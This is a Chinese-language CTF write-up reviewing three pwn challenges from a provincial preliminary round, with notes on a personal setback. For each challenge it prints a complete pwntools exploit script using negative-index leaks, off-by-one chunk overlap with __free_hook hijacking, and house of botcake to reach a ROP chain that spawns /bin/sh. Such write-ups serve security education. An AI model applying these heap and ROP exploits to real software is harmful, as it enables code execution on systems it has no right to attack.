省赛初赛
2025年11月10日 · 1031 字 · 3 分钟
pwn复盘来了
pwn1
input和output索引可以为负,然后泄漏libc劫持返回地址写ROP就行
from pwn import *
from pwn import p64, p32, p16, p8, u32, u64
context(arch = 'amd64', log_level = 'debug', os = 'linux')
context.terminal = ["tmux", "splitw", "-h"]
p = process('./pwn')
#p = remote('45.40.247.139',19478)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def input(payload):
p.sendlineafter(b">>", str(1).encode())
p.sendlineafter(b":", str(payload).encode())
def output(idx):
p.sendlineafter(b">>", b"2")
p.sendlineafter(b":", str(idx).encode())
main = 0x4014A5
pop_rdi = 0x0000000000401563 # pop rdi ; ret
ret = 0x000000000040101a # ret
for i in range(9):
input(0xdeadbeef)
gdb.attach(p, '''
b *0x0000000000401466
b *0x00000000004013DE
''')
input(0)
output(-17)
p.recvuntil(b'your number:\n')
libc_addr = int(p.recvuntil(b'\n').strip()) - 0x87dda
success("libc ==> " + hex(libc_addr))
libc.address = libc_addr
input(pop_rdi)
input(libc_addr + 0x1cb42f)
input(libc_addr + 0x58750)
input(0xa)
input(0xa)
input(0xa)
input(0xa)
input(0xa)
input(0xa)
input(-2)
input(ret)
p.interactive()
pwn2
先扬随机数,然后off by one打overlapping,劫持fd打__free_hook
from pwn import *
from pwn import p64, p32, p16, p8,u8,u32,u64
from pwn import gdb
from ctypes import CDLL
context(arch = 'amd64', log_level = 'debug', os = 'linux')
context.terminal = ["tmux", "splitw", "-h"]
p = process('./pwn')
#p = remote('45.40.247.139', 25080)
elf = ELF('./pwn')
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
temp = libc.time(0)
libc.srand(temp)
p.sendlineafter(b"?", str(libc.rand()%200 + libc.rand()%100).encode())
libc = ELF('/home/f1owerc/桌面/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
def add(idx, size, content):
p.sendlineafter(b"5.exit", str(1).encode())
p.sendlineafter(b"?", str(idx).encode())
p.sendlineafter(b"?", str(size).encode())
p.sendlineafter(b"?", content)
def delete(idx):
p.sendlineafter(b"5.exit", str(2).encode())
p.sendlineafter(b"?", str(idx).encode())
def show(idx):
p.sendlineafter(b"5.exit", str(3).encode())
p.sendlineafter(b"?", str(idx).encode())
def edit(idx, content):
p.sendlineafter(b"5.exit", str(4).encode())
p.sendlineafter(b"?", str(idx).encode())
p.sendlineafter(b"?", content)
add(0, 0x418, b'a'*8)
add(1, 0x18, b'b'*8)
delete(0)
add(0, 0x418, b'c'*8)
show(0)
p.recvuntil(b'c'*8)
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebc0a
libc.address = libc_addr
success("libc ==> " + hex(libc_addr))
add(2, 0x418, b'd')
add(3, 0x18, b'e')
add(4, 0x418, b'f')
edit(1, b'a'*0x18 + p8(0x41))
delete(2)
add(2, 0x418, b'g'*8)
add(5, 0x18, b'h'*8)
delete(3)
edit(5, p64(libc.symbols['__free_hook'])*2)
add(6, 0x18, b'/bin/sh\x00')
add(7, 0x18, p64(libc.symbols['system']))
delete(6)
gdb.attach(p)
p.interactive()
pwn3
禁止libc上的堆,free未清空指针,泄漏完libc打house of botcake,把堆申请到environ上泄漏栈地址再申请过去写rop
idx没有限制不能重复,所以堆风水写的有点乱
from pwn import *
from pwn import p64, p32, p16, p8, u32, u64
context(arch = 'amd64', log_level = 'debug', os = 'linux')
context.terminal = ["tmux", "splitw", "-h"]
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/home/f1owerc/桌面/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
def add(idx, size, content):
p.sendlineafter(b"1", str(1).encode())
p.sendlineafter(b"idx:", str(idx).encode())
p.sendlineafter(b"size:", str(size).encode())
p.sendlineafter(b"content:", content)
def delete(idx):
p.sendlineafter(b"choice:", str(2).encode())
p.sendlineafter(b"idx:", str(idx).encode())
def show(idx):
p.sendlineafter(b"choice:", str(3).encode())
p.sendlineafter(b"idx:", str(idx).encode())
add(1, 0x300, b'aa')
delete(1)
show(1)
heap = (u64(p.recvuntil(b'\x05')[-5:].ljust(8, b'\x00')) << 12)
success("heap ==> " + hex(heap))
key = (heap + 0x1000) >> 12
for i in range(9):
add(i + 1, 0x300, b'aa')
add(10, 0x300, b'aa')
for i in range(9):
delete(i)
show(8)
libc_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x219ce0
success("libc ==> " + hex(libc_addr))
libc.address = libc_addr
delete(9)
add(11, 0x300, b'a')
delete(9)
add(12, 0x320, b'a'*0x300 + p64(0x330) + p64(0x310) + p64(libc.sym['environ'] ^ key)*2)
add(13, 0x300, b'a')
add(14, 0x300, b'\x00')
show(14)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("stack ==> " + hex(stack))
target = stack + 0xd4b0
add(15, 0x2e0, b'aa')
for i in range(10):
add(i, 0x330, b'aaa')
for i in range(9):
delete(i)
add(0, 0x330, b'a')
delete(8)
key = (heap + 0x3000) >> 12
add(1, 0x350, b'a'*0x330 + p64(0x360) + p64(0x340) + p64((target) ^ key)*2)
add(2, 0x330, b'a')
pop_rdi = libc.search(asm("pop rdi;ret;")).__next__()
bin_sh = libc.search(b"/bin/sh").__next__()
system = libc.sym["system"]
payload = p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
add(3, 0x330, p64(0) + p64(pop_rdi + 1) + payload)
gdb.attach(p)
p.interactive()
痛定思痛痛痛痛,看了壳壳的比赛后调理好了点终于还是复盘来了
为什么第一题没打通呢,事后发现哦其实不是bin/sh被吞了,原来是patch的libc和exp的libc不一样,找到的bin/sh不对捏
第二题没给libc属实是有点缺心眼
第三题的botcake之前有写过,但我没时间也静不下心来调哩
很遗憾出了小意外,我也没能力ak把我们都抬进去,后面心态崩了更是一题写不下去,感觉会维持黑化状态很长一段时间了